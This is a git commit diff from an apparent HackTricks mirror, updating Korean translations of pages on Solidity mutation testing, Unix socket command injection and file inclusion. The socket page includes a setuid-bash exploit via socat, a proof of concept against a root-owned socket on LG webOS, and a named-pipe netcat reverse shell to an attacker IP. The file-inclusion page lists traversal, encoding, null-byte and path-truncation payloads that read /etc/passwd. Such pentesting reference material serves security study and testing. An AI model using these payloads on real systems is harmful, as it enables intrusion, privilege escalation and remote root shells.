mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/pentesting-web/file-inclusion/README.md', 'src/linu
This commit is contained in:
parent
d0c9d2d079
commit
d80079a1c7
@ -1,14 +1,14 @@
|
||||
# Mutation Testing for Solidity with Slither (slither-mutate)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Mutation testing은 Solidity 코드에 작은 변경사항(mutants)을 체계적으로 주입하고 테스트 스위트를 다시 실행함으로써 "테스트를 테스트"합니다. 테스트가 실패하면 mutant는 죽고(killed), 테스트가 여전히 통과하면 mutant는 살아남아 라인/브랜치 커버리지가 감지하지 못하는 테스트 스위트의 맹점을 드러냅니다.
|
||||
Mutation testing은 "tests your tests" 방식으로, Solidity 코드에 작은 변경사항(mutants)을 체계적으로 도입하고 test suite를 다시 실행합니다. 테스트가 실패하면 해당 mutant는 제거(killed)됩니다. 테스트가 여전히 통과하면 mutant는 생존하여 line/branch coverage로는 탐지할 수 없는 테스트 스위트의 맹점을 드러냅니다.
|
||||
|
||||
핵심 아이디어: 커버리지는 코드가 실행되었다는 사실만 보여주고, mutation testing은 동작이 실제로 단언(asserted)되는지를 보여줍니다.
|
||||
핵심 아이디어: Coverage는 코드가 실행되었음을 보여주고; mutation testing은 실제로 동작이 검증되었는지를 보여줍니다.
|
||||
|
||||
## 커버리지가 오도할 수 있는 이유
|
||||
## 왜 Coverage는 오도할 수 있는가
|
||||
|
||||
Consider this simple threshold check:
|
||||
다음의 간단한 임계값 체크를 살펴보자:
|
||||
```solidity
|
||||
function verifyMinimumDeposit(uint256 deposit) public returns (bool) {
|
||||
if (deposit >= 1 ether) {
|
||||
@ -18,99 +18,99 @@ return false;
|
||||
}
|
||||
}
|
||||
```
|
||||
단위 테스트가 임계값 아래의 값과 위의 값만 검사하는 경우, 라인/브랜치 커버리지가 100%에 도달할 수 있지만 동등성 경계(==)를 확인하지 못할 수 있습니다. `deposit >= 2 ether`로 리팩터링해도 이러한 테스트는 여전히 통과하여 프로토콜 로직을 조용히 깨뜨릴 수 있습니다.
|
||||
단위 테스트가 임계값 아래와 위의 값만 검사하면, equality boundary (==)에 대한 어설션 없이도 라인/분기 커버리지 100%에 도달할 수 있습니다. `deposit >= 2 ether`로 리팩터링하면 이런 테스트를 통과해 프로토콜 로직이 은밀히 깨질 수 있습니다.
|
||||
|
||||
Mutation testing은 조건을 변형시키고 테스트가 실패하는지 확인함으로써 이 간극을 드러냅니다.
|
||||
뮤테이션 테스트는 조건을 변형(mutate)하고 테스트가 실패하는지 확인함으로써 이 간극을 드러냅니다.
|
||||
|
||||
## Common Solidity mutation operators
|
||||
## 일반적인 Solidity mutation 연산자
|
||||
|
||||
Slither’s mutation engine은 다음과 같은 여러 작은 의미 변경 수정을 적용합니다:
|
||||
Slither의 mutation 엔진은 다음과 같은 작은 의미 변경 편집을 적용합니다:
|
||||
- 연산자 교체: `+` ↔ `-`, `*` ↔ `/`, 등
|
||||
- 할당 연산자 교체: `+=` → `=`, `-=` → `=`
|
||||
- 할당 교체: `+=` → `=`, `-=` → `=`
|
||||
- 상수 교체: 0이 아닌 값 → `0`, `true` ↔ `false`
|
||||
- `if`/루프 내부 조건의 부정/교체
|
||||
- `if`/루프 내부 조건 부정/교체
|
||||
- 전체 라인 주석 처리 (CR: Comment Replacement)
|
||||
- 한 줄을 `revert()`로 교체
|
||||
- 데이터 타입 교체: 예: `int128` → `int64`
|
||||
- 데이터 타입 교체 예: `int128` → `int64`
|
||||
|
||||
목표: 생성된 뮤턴트의 100%를 kill 하거나, 살아남은 뮤턴트에 대해 명확한 근거로 정당화하세요.
|
||||
목표: 생성된 뮤턴트 100%를 제거하거나, 생존한 뮤턴트에 대해 명확한 근거로 정당화하세요.
|
||||
|
||||
## Running mutation testing with slither-mutate
|
||||
## slither-mutate로 뮤테이션 테스트 실행하기
|
||||
|
||||
요구사항: Slither v0.10.2+.
|
||||
|
||||
- 옵션과 mutators 목록:
|
||||
- 옵션 및 mutators 나열:
|
||||
```bash
|
||||
slither-mutate --help
|
||||
slither-mutate --list-mutators
|
||||
```
|
||||
- Foundry 예제 (결과를 캡처하고 전체 로그를 보관):
|
||||
- Foundry 예시 (결과를 캡처하고 전체 로그를 보관):
|
||||
```bash
|
||||
slither-mutate ./src/contracts --test-cmd="forge test" &> >(tee mutation.results)
|
||||
```
|
||||
- Foundry를 사용하지 않는다면, `--test-cmd`를 테스트 실행 방법(예: `npx hardhat test`, `npm test`)으로 대체하세요.
|
||||
- Foundry를 사용하지 않는 경우 `--test-cmd`를 테스트를 실행하는 방식(예: `npx hardhat test`, `npm test`)으로 바꿔주세요.
|
||||
|
||||
아티팩트와 보고서는 기본적으로 `./mutation_campaign`에 저장됩니다. 포착되지 않은(생존한) mutants는 검사 목적으로 그곳에 복사됩니다.
|
||||
아티팩트와 리포트는 기본적으로 `./mutation_campaign`에 저장됩니다. 검출되지 않은(생존한) mutants는 검사 목적으로 그곳에 복사됩니다.
|
||||
|
||||
### 출력 이해하기
|
||||
|
||||
보고서 행은 다음과 같습니다:
|
||||
리포트 행은 다음과 같습니다:
|
||||
```text
|
||||
INFO:Slither-Mutate:Mutating contract ContractName
|
||||
INFO:Slither-Mutate:[CR] Line 123: 'original line' ==> '//original line' --> UNCAUGHT
|
||||
```
|
||||
- 대괄호 안의 태그는 뮤테이터 별칭입니다(예: `CR` = Comment Replacement).
|
||||
- `UNCAUGHT`는 변형된 동작에서 테스트가 통과했음을 의미합니다 → 누락된 assertion.
|
||||
- 대괄호 안의 태그는 뮤테이터 별칭입니다 (예: `CR` = Comment Replacement).
|
||||
- `UNCAUGHT`는 변경된 동작 하에서 테스트가 통과했음을 의미합니다 → 누락된 assertion.
|
||||
|
||||
## Reducing runtime: prioritize impactful mutants
|
||||
|
||||
Mutation 캠페인은 수시간에서 수일까지 걸릴 수 있습니다. 비용을 줄이기 위한 팁:
|
||||
- Scope: 우선 중요한 contracts/디렉터리만 대상으로 시작한 후 확장하세요.
|
||||
- Prioritize mutators: 한 줄에서 우선순위가 높은 뮤턴트가 생존하면(예: 전체 줄이 주석 처리된 경우) 그 줄에 대해 우선순위가 낮은 변형은 건너뛸 수 있습니다.
|
||||
- 테스트를 러너가 허용하면 병렬화하고; 의존성/빌드를 캐시하세요.
|
||||
- Fail-fast: 변경이 명백히 assertion의 공백을 드러낼 때 조기에 중단하세요.
|
||||
Mutation 캠페인은 몇 시간에서 며칠까지 걸릴 수 있습니다. 비용을 줄이기 위한 팁:
|
||||
- Scope: 먼저 중요한 contracts/디렉터리만 대상으로 시작한 다음 확장하세요.
|
||||
- Prioritize mutators: 한 줄에서 우선순위가 높은 mutant가 생존하면(예: 전체 줄이 주석 처리됨) 해당 줄에 대해 낮은 우선순위 변형은 건너뛸 수 있습니다.
|
||||
- Parallelize tests if your runner allows it; cache dependencies/builds.
|
||||
- Fail-fast: 변경이 명확히 assertion 간극을 보여줄 때 조기에 중단하세요.
|
||||
|
||||
## Triage workflow for surviving mutants
|
||||
|
||||
1) 변형된 줄과 동작을 검사하세요.
|
||||
- 해당 변형된 줄을 적용하고 집중 테스트를 실행해 로컬에서 재현하세요.
|
||||
1) 변경된 라인과 동작을 검사하세요.
|
||||
- 변경된 라인을 적용하고 집중된 테스트를 실행해 로컬에서 재현하세요.
|
||||
|
||||
2) 반환값뿐 아니라 상태를 검증하도록 테스트를 강화하세요.
|
||||
- 동등성/경계 검사를 추가하세요(예: 임계값 테스트 `==`).
|
||||
- 사후 조건을 검증하세요: 잔액, 총 공급량, 권한 영향 및 발생한 이벤트 등.
|
||||
2) 테스트를 강화해 반환값뿐 아니라 상태를 단언하세요.
|
||||
- 동등성 경계 검사 추가(예: test threshold `==`).
|
||||
- 사후 조건을 단언: 잔액, 총 공급량, 권한 효과, 발생한 이벤트 등.
|
||||
|
||||
3) 지나치게 관대한 mocks를 현실적인 동작으로 교체하세요.
|
||||
- 모의 객체가 온체인에서 발생하는 전송, 실패 경로 및 이벤트 발생을 강제하도록 하세요.
|
||||
- mocks가 온체인에서 발생하는 전송, 실패 경로, 이벤트 발생을 강제하는지 확인하세요.
|
||||
|
||||
4) 퍼즈(fuzz) 테스트를 위한 불변식(invariants)을 추가하세요.
|
||||
- 예: 가치 보존, 음수 불가 잔액, 권한 불변식, 적용 가능한 경우 단조 증가하는 공급량 등.
|
||||
4) fuzz 테스트를 위한 불변식 추가.
|
||||
- 예: 가치 보존, 음수가 아닌 잔액, 권한 불변식, 적용 가능한 경우 단조 증가하는 공급 등.
|
||||
|
||||
5) slither-mutate를 재실행하여 생존자들이 제거되거나 명확히 정당화될 때까지 반복하세요.
|
||||
5) 생존한 뮤턴트가 제거되거나 명시적으로 정당화될 때까지 slither-mutate를 다시 실행하세요.
|
||||
|
||||
## Case study: revealing missing state assertions (Arkis protocol)
|
||||
|
||||
Arkis DeFi protocol에 대한 감사 중 진행된 mutation 캠페인은 다음과 같은 생존자를 드러냈습니다:
|
||||
Arkis DeFi protocol 감사 중 실행한 mutation 캠페인에서 다음과 같은 생존자들이 나타났습니다:
|
||||
```text
|
||||
INFO:Slither-Mutate:[CR] Line 33: 'cmdsToExecute.last().value = _cmd.value' ==> '//cmdsToExecute.last().value = _cmd.value' --> UNCAUGHT
|
||||
```
|
||||
주석 처리로 할당문이 제거되어도 테스트가 통과했는데, 이는 사후 상태 검증(post-state assertions)이 누락되었음을 증명한다. 근본 원인: 실제 토큰 전송을 검증하지 않고 사용자 제어 `_cmd.value`를 신뢰했다. 공격자는 기대되는 전송과 실제 전송을 비동기화하여 자금을 유출할 수 있다. 결과: 프로토콜의 지급능력(solency)에 대한 높은 심각도 위험.
|
||||
주석 처리로 할당을 제거해도 테스트가 깨지지 않았으므로 post-state assertions가 누락되었음이 입증됨. 근본 원인: 실제 토큰 전송을 검증하지 않고 사용자 제어 `_cmd.value` 를 신뢰함. 공격자는 기대된 전송과 실제 전송을 비동기화시켜 자금을 유출할 수 있음. 결과: 프로토콜 지급능력(solency)에 대한 높은 심각도 위험.
|
||||
|
||||
지침: 가치 전송(value transfers), 회계(accounting), 또는 접근 제어에 영향을 미치는 살아남은 변이(survivors)는 제거(killed)될 때까지 고위험으로 취급하라.
|
||||
Guidance: 값 전송, 회계(accounting) 또는 접근 제어에 영향을 주는 survivors는 삭제(kill)될 때까지 고위험으로 취급하라.
|
||||
|
||||
## 실무 체크리스트
|
||||
|
||||
- 대상 캠페인 실행:
|
||||
- Run a targeted campaign:
|
||||
- `slither-mutate ./src/contracts --test-cmd="forge test"`
|
||||
- 생존한 변이를 분류(triage)하고, 변형된 동작에서 실패할 테스트/불변식(invariants)을 작성하라.
|
||||
- 잔액, 공급량, 권한, 이벤트를 검증하라.
|
||||
- Triage survivors and write tests/invariants that would fail under the mutated behavior.
|
||||
- 잔액, 공급(supply), 권한(authorizations), 및 이벤트를 검증(assert)하라.
|
||||
- 경계 테스트 추가 (`==`, overflows/underflows, zero-address, zero-amount, empty arrays).
|
||||
- 비현실적인 mocks를 대체하고, 실패 모드를 시뮬레이션하라.
|
||||
- 모든 mutants가 제거(killed)되거나 주석과 근거로 정당화될 때까지 반복하라.
|
||||
- 비현실적인 mocks를 교체하고 실패 모드를 시뮬레이션하라.
|
||||
- 모든 mutants가 kill되거나 주석과 근거로 정당화될 때까지 반복하라.
|
||||
|
||||
## 참고자료
|
||||
## References
|
||||
|
||||
- [Use mutation testing to find the bugs your tests don't catch (Trail of Bits)](https://blog.trailofbits.com/2025/09/18/use-mutation-testing-to-find-the-bugs-your-tests-dont-catch/)
|
||||
- [Arkis DeFi Prime Brokerage Security Review (Appendix C)](https://github.com/trailofbits/publications/blob/master/reviews/2024-12-arkis-defi-prime-brokerage-securityreview.pdf)
|
||||
- [Slither (GitHub)](https://github.com/crytic/slither)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,8 +1,10 @@
|
||||
# Socket Command Injection
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Python을 이용한 소켓 바인딩 예제
|
||||
## Python으로 된 Socket 바인딩 예제
|
||||
|
||||
다음 예제에서는 **유닉스 소켓이 생성됩니다** (`/tmp/socket_test.s`) 그리고 **수신된** 모든 내용이 `os.system`에 의해 **실행됩니다**. 이 예제가 실제 환경에서 발견되지 않을 것이라는 것을 알고 있지만, 이 예제의 목표는 유닉스 소켓을 사용하는 코드가 어떻게 생겼는지, 그리고 최악의 경우 입력을 어떻게 관리하는지를 보는 것입니다.
|
||||
다음 예제에서는 **unix socket이 생성**됩니다 (`/tmp/socket_test.s`) 그리고 **수신된** 모든 내용은 `os.system`에 의해 **실행**됩니다. 실제로 이런 코드를 현장에서 만나긴 어렵겠지만, 이 예제의 목적은 unix sockets를 사용하는 코드가 어떻게 생겼는지와 최악의 경우 입력을 어떻게 처리해야 하는지를 보여주는 것입니다.
|
||||
```python:s.py
|
||||
import socket
|
||||
import os, os.path
|
||||
@ -24,15 +26,50 @@ print(datagram)
|
||||
os.system(datagram)
|
||||
conn.close()
|
||||
```
|
||||
**코드를 실행**하려면 python을 사용하세요: `python s.py` 그리고 **소켓이 어떻게 수신 대기하는지 확인하세요**:
|
||||
**실행** 코드를 python으로 실행하세요: `python s.py` 그리고 **소켓이 어떻게 리스닝되는지 확인하세요**:
|
||||
```python
|
||||
netstat -a -p --unix | grep "socket_test"
|
||||
(Not all processes could be identified, non-owned process info
|
||||
will not be shown, you would have to be root to see it all.)
|
||||
unix 2 [ ACC ] STREAM LISTENING 901181 132748/python /tmp/socket_test.s
|
||||
```
|
||||
**익스플로잇**
|
||||
**Exploit**
|
||||
```python
|
||||
echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s
|
||||
```
|
||||
## 사례 연구: Root-owned UNIX socket signal-triggered escalation (LG webOS)
|
||||
|
||||
일부 privileged daemon들은 untrusted input을 받는 root-owned UNIX socket을 노출하고, privileged actions을 thread-IDs와 signals에 결합합니다. 프로토콜이 unprivileged client가 어떤 native thread가 타겟이 될지 영향을 줄 수 있게 허용한다면, privileged code path를 트리거해 escalate할 수 있습니다.
|
||||
|
||||
관찰된 패턴:
|
||||
- root-owned socket에 연결 (예: /tmp/remotelogger).
|
||||
- 스레드를 생성하고 해당 native thread id (TID)를 얻는다.
|
||||
- 요청으로 TID (packed)와 padding을 함께 전송; acknowledgement를 받는다.
|
||||
- 해당 TID에 특정 signal을 전달하여 privileged behaviour를 트리거한다.
|
||||
|
||||
간단한 PoC 스케치:
|
||||
```python
|
||||
import socket, struct, os, threading, time
|
||||
# Spawn a thread so we have a TID we can signal
|
||||
th = threading.Thread(target=time.sleep, args=(600,)); th.start()
|
||||
tid = th.native_id # Python >=3.8
|
||||
s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
|
||||
s.connect("/tmp/remotelogger")
|
||||
s.sendall(struct.pack('<L', tid) + b'A'*0x80)
|
||||
s.recv(4) # sync
|
||||
os.kill(tid, 4) # deliver SIGILL (example from the case)
|
||||
```
|
||||
이를 root shell로 만들려면, 간단한 named-pipe + nc 패턴을 사용할 수 있습니다:
|
||||
```bash
|
||||
rm -f /tmp/f; mkfifo /tmp/f
|
||||
cat /tmp/f | /bin/sh -i 2>&1 | nc <ATTACKER-IP> 23231 > /tmp/f
|
||||
```
|
||||
노트:
|
||||
- 이 유형의 버그는 권한 없는 클라이언트 상태(TIDs)에서 유래한 값을 신뢰하고 이를 권한 있는 시그널 핸들러나 로직에 바인딩함으로써 발생합니다.
|
||||
- 소켓에 대한 자격 증명을 강제하고, 메시지 형식을 검증하며, 외부에서 제공된 스레드 식별자와 권한 있는 작업을 분리하여 시스템을 강화하세요.
|
||||
|
||||
## References
|
||||
|
||||
- [LG WebOS TV Path Traversal, Authentication Bypass and Full Device Takeover (SSD Disclosure)](https://ssd-disclosure.com/lg-webos-tv-path-traversal-authentication-bypass-and-full-device-takeover/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -4,14 +4,14 @@
|
||||
|
||||
## File Inclusion
|
||||
|
||||
**Remote File Inclusion (RFI):** 파일이 원격 서버에서 로드됩니다 (장점: 코드를 작성하면 서버가 이를 실행합니다). In php this is **비활성화** by default (**allow_url_include**).\
|
||||
**Remote File Inclusion (RFI):** 파일이 원격 서버에서 로드됩니다 (이점: 코드를 작성하면 서버가 이를 실행합니다). php에서는 기본적으로 **비활성화**되어 있습니다 (**allow_url_include**).\
|
||||
**Local File Inclusion (LFI):** 서버가 로컬 파일을 로드합니다.
|
||||
|
||||
취약점은 사용자가 서버가 로드할 파일을 어떤 식으로든 제어할 수 있을 때 발생합니다.
|
||||
이 취약점은 사용자가 서버가 로드할 파일을 어떤 식으로든 제어할 수 있을 때 발생합니다.
|
||||
|
||||
취약한 **PHP functions**: require, require_once, include, include_once
|
||||
취약한 **PHP 함수**: require, require_once, include, include_once
|
||||
|
||||
이 취약점을 악용하기 위한 도구: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
|
||||
이 취약점을 exploit하기 위한 흥미로운 도구: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
|
||||
|
||||
## Blind - Interesting - LFI2RCE files
|
||||
```python
|
||||
@ -19,39 +19,38 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
|
||||
```
|
||||
### **Linux**
|
||||
|
||||
**여러 \*nix LFI 목록을 혼합하고 경로를 더 추가해서 만든 목록:**
|
||||
|
||||
**여러 \*nix LFI 리스트를 혼합하고 경로를 더 추가하여 만든 목록:**
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
|
||||
{{#endref}}
|
||||
|
||||
또한 `/`을 `\`로 변경해보세요
|
||||
또한 `/`를 `\`로 바꿔보세요` \`\
|
||||
또한 `../../../../../`를 추가해보세요
|
||||
|
||||
취약점 존재 여부를 확인하기 위해 /etc/password 파일을 찾는 여러 기법을 사용한 목록은 [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
|
||||
`/etc/password` 파일을 찾기 위해 여러 기법을 사용하는 목록(취약점 존재 여부를 확인하기 위해)은 [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)에서 찾을 수 있습니다
|
||||
|
||||
### **Windows**
|
||||
|
||||
다양한 wordlists의 병합:
|
||||
다른 wordlists의 병합:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
|
||||
{{#endref}}
|
||||
|
||||
또한 `/`을 `\`로 변경해보세요
|
||||
또한 `/`를 `\`로 바꿔보세요` \`\
|
||||
또한 `C:/`를 제거하고 `../../../../../`를 추가해보세요
|
||||
|
||||
취약점 존재 여부를 확인하기 위해 /boot.ini 파일을 찾는 여러 기법을 사용한 목록은 [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
|
||||
`/boot.ini` 파일을 찾기 위해 여러 기법을 사용하는 목록(취약점 존재 여부를 확인하기 위해)은 [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)에서 찾을 수 있습니다
|
||||
|
||||
### **OS X**
|
||||
|
||||
linux의 LFI 목록을 확인하세요.
|
||||
linux의 LFI 리스트를 확인하세요.
|
||||
|
||||
## 기본 LFI 및 우회
|
||||
## Basic LFI and bypasses
|
||||
|
||||
모든 예제는 Local File Inclusion을 위한 것이지만 Remote File Inclusion에도 적용될 수 있습니다 (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
|
||||
모든 예시는 Local File Inclusion에 대한 것이지만 Remote File Inclusion에도 적용될 수 있습니다 (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
|
||||
```
|
||||
http://example.com/index.php?page=../../../etc/passwd
|
||||
```
|
||||
@ -63,59 +62,59 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
|
||||
```
|
||||
### **Null byte (%00)**
|
||||
|
||||
제공된 문자열 끝에 더 많은 문자를 추가하는 것을 우회 (우회 대상: $\_GET\['param']."php")
|
||||
제공된 문자열의 끝에 더 많은 문자를 덧붙이는 것을 우회 (bypass of: $\_GET\['param']."php")
|
||||
```
|
||||
http://example.com/index.php?page=../../../etc/passwd%00
|
||||
```
|
||||
이 문제는 **PHP 5.4에서 해결되었습니다**
|
||||
이는 **PHP 5.4 이후로 해결되었습니다**
|
||||
|
||||
### **인코딩**
|
||||
|
||||
double URL encode 등 비표준 인코딩을 사용할 수 있습니다:
|
||||
비표준 인코딩(예: double URL encode 등)을 사용할 수 있습니다:
|
||||
```
|
||||
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
|
||||
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
|
||||
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
|
||||
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
|
||||
```
|
||||
### 존재하는 폴더에서
|
||||
### 기존 폴더에서
|
||||
|
||||
어쩌면 back-end가 폴더 경로를 검사하고 있을 수 있습니다:
|
||||
back-end가 folder path를 확인하고 있을 수도 있습니다:
|
||||
```python
|
||||
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
|
||||
```
|
||||
### 서버에서 파일 시스템 디렉터리 탐색
|
||||
|
||||
서버의 파일 시스템은 특정 기술을 사용하여 파일뿐 아니라 디렉터리도 재귀적으로 탐색할 수 있습니다. 이 과정은 디렉터리 깊이를 판단하고 특정 폴더의 존재 여부를 확인하는 작업을 포함합니다. 아래는 이를 달성하기 위한 자세한 방법입니다:
|
||||
서버의 파일 시스템은 특정 기법을 사용해 파일뿐 아니라 디렉터리도 재귀적으로 탐색할 수 있습니다. 이 과정은 디렉터리 깊이를 확인하고 특정 폴더의 존재를 탐지하는 것을 포함합니다. 다음은 이를 수행하는 자세한 방법입니다:
|
||||
|
||||
1. **디렉터리 깊이 판단:** 현재 디렉터리의 깊이는 `/etc/passwd` 파일을 성공적으로 가져오면 확인할 수 있습니다(서버가 Linux 기반인 경우 해당). 예시 URL은 다음과 같이 구성되어 깊이가 세임을 나타낼 수 있습니다:
|
||||
1. **디렉터리 깊이 확인:** 서버가 Linux 기반인 경우 `/etc/passwd` 파일을 성공적으로 가져와 현재 디렉터리의 깊이를 확인합니다. 예시 URL은 다음과 같이 구성될 수 있으며, 깊이가 3임을 나타냅니다:
|
||||
```bash
|
||||
http://example.com/index.php?page=../../../etc/passwd # depth of 3
|
||||
```
|
||||
2. **폴더 탐색:** 의심되는 폴더 이름(예: `private`)을 URL에 추가한 다음 `/etc/passwd`로 다시 이동합니다. 추가된 디렉터리 레벨 때문에 depth를 하나 증가시켜야 합니다:
|
||||
2. **폴더 탐색:** 의심되는 폴더 이름(예: `private`)을 URL에 추가한 다음 `/etc/passwd`로 돌아갑니다. 추가된 디렉토리 레벨 때문에 depth를 하나 증가시켜야 합니다:
|
||||
```bash
|
||||
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
|
||||
```
|
||||
3. **Interpret the Outcomes:** 서버의 응답은 해당 폴더의 존재 여부를 나타냅니다:
|
||||
- **Error / No Output:** 폴더 `private`는 지정된 위치에 존재하지 않을 가능성이 높습니다.
|
||||
- **Contents of `/etc/passwd`:** `/etc/passwd`의 내용이 표시되면 `private` 폴더의 존재가 확인됩니다.
|
||||
4. **Recursive Exploration:** 발견된 폴더는 동일한 기법이나 전통적인 Local File Inclusion (LFI) 방법으로 하위 디렉토리나 파일을 추가로 탐색할 수 있습니다.
|
||||
3. **결과 해석:** 서버의 응답은 폴더 존재 여부를 나타냅니다:
|
||||
- **오류 / 출력 없음:** 지정된 위치에 `private` 폴더가 존재하지 않을 가능성이 큽니다.
|
||||
- **`/etc/passwd`의 내용:** `private` 폴더의 존재가 확인됩니다.
|
||||
4. **재귀적 탐색:** 발견된 폴더는 동일한 기법이나 전통적인 Local File Inclusion (LFI) 방법을 사용해 하위 디렉토리나 파일을 추가로 조사할 수 있습니다.
|
||||
|
||||
파일 시스템의 다른 위치에 있는 디렉토리를 탐색하려면 payload를 적절히 조정하세요. 예를 들어, 현재 디렉토리가 깊이 3에 있다고 가정하고 `/var/www/`에 `private` 디렉토리가 있는지 확인하려면 다음을 사용하세요:
|
||||
파일 시스템의 다른 위치에 있는 디렉토리를 탐색하려면 페이로드를 그에 맞게 조정하세요. 예를 들어, 현재 디렉토리가 깊이 3에 있다고 가정하면 `/var/www/`에 `private` 디렉토리가 있는지 확인하려면:
|
||||
```bash
|
||||
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
|
||||
```
|
||||
### **Path Truncation Technique**
|
||||
|
||||
Path truncation은 웹 애플리케이션에서 파일 경로를 조작하기 위해 사용되는 기법입니다. 주로 파일 경로 끝에 추가 문자를 덧붙이는 보안 조치를 bypass하여 제한된 파일에 접근하는 데 사용됩니다. 목표는 보안 조치에 의해 변경된 이후에도 여전히 원하는 파일을 가리키는 파일 경로를 만드는 것입니다.
|
||||
Path truncation은 웹 애플리케이션에서 파일 경로를 조작하기 위해 사용되는 기법이다. 주로 파일 경로 끝에 추가 문자를 덧붙이는 일부 보안 조치를 우회하여 접근이 제한된 파일에 접근할 때 사용된다. 목표는 보안 조치에 의해 변경된 후에도 여전히 원하는 파일을 가리키는 파일 경로를 만들어내는 것이다.
|
||||
|
||||
In PHP, 파일 시스템의 특성상 파일 경로의 다양한 표현이 동일하게 취급될 수 있습니다. 예를 들어:
|
||||
In PHP, 파일 시스템의 특성상 파일 경로의 다양한 표현이 동일하게 취급될 수 있다. 예를 들어:
|
||||
|
||||
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/`는 모두 동일한 경로로 취급됩니다.
|
||||
- When the last 6 characters are `passwd`, appending a `/` (making it `passwd/`) doesn't change the targeted file.
|
||||
- Similarly, if `.php` is appended to a file path (like `shellcode.php`), adding a `/.` at the end will not alter the file being accessed.
|
||||
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` are all treated as the same path.
|
||||
- 마지막 6글자가 `passwd`일 때, 끝에 `/`를 붙여 `passwd/`로 만들어도 대상 파일은 바뀌지 않는다.
|
||||
- 마찬가지로 파일 경로에 `.php`가 붙어 있으면 (예: `shellcode.php`) 끝에 `/.`를 추가해도 접근되는 파일은 변경되지 않는다.
|
||||
|
||||
제공된 예시는 path truncation을 이용해 민감한 내용을 담고 있는 일반적인 대상인 `/etc/passwd`에 접근하는 방법을 보여줍니다 (사용자 계정 정보):
|
||||
아래 예제들은 path truncation을 활용하여 민감한 내용(사용자 계정 정보) 때문에 흔히 목표가 되는 `/etc/passwd`에 접근하는 방법을 보여준다:
|
||||
```
|
||||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
|
||||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
|
||||
@ -125,13 +124,13 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
|
||||
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
|
||||
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
|
||||
```
|
||||
이러한 시나리오에서는 필요한 traversals 수가 대략 2027개 정도일 수 있지만, 이 수치는 서버 구성에 따라 달라질 수 있습니다.
|
||||
이러한 시나리오에서는 필요한 트래버설 수가 약 2027개일 수 있지만, 이 수는 서버 구성에 따라 달라질 수 있습니다.
|
||||
|
||||
- **Using Dot Segments and Additional Characters**: Traversal sequences (`../`)와 추가 점 세그먼트 및 문자들을 조합하여 파일 시스템을 탐색할 수 있으며, 이로써 서버가 덧붙인 문자열을 사실상 무시할 수 있습니다.
|
||||
- **Determining the Required Number of Traversals**: 시행착오를 통해 루트 디렉터리까지, 그 다음 `/etc/passwd`로 이동하는 데 필요한 정확한 `../` 시퀀스 수를 찾아낼 수 있으며, 이 과정에서 `.php` 같은 덧붙여진 문자열은 무력화되지만 원하는 경로 (`/etc/passwd`)는 온전하게 유지됩니다.
|
||||
- **Starting with a Fake Directory**: 경로를 존재하지 않는 디렉터리(예: `a/`)로 시작하는 것은 일반적인 관행입니다. 이 기술은 예방 조치로 사용되거나 서버의 경로 파싱 로직 요구사항을 만족시키기 위해 사용됩니다.
|
||||
- **Using Dot Segments and Additional Characters**: Traversal sequences (`../`)와 추가적인 dot 세그먼트 및 문자를 결합하면 파일 시스템을 탐색할 수 있으며, 서버가 덧붙인 문자열을 사실상 무시할 수 있습니다.
|
||||
- **Determining the Required Number of Traversals**: 시행착오를 통해 루트 디렉터리로 이동한 다음 `/etc/passwd`로 접근하는 데 필요한 정확한 `../` 반복 횟수를 찾을 수 있으며, 이 과정에서 `.php`와 같은 덧붙여진 문자열은 중화되지만 원하는 경로(`/etc/passwd`)는 유지되도록 할 수 있습니다.
|
||||
- **Starting with a Fake Directory**: 경로를 존재하지 않는 디렉터리(예: `a/`)로 시작하는 것은 일반적인 관행입니다. 이 기법은 예방적 조치로 사용되거나 서버의 경로 파싱 로직 요구사항을 충족시키기 위해 사용됩니다.
|
||||
|
||||
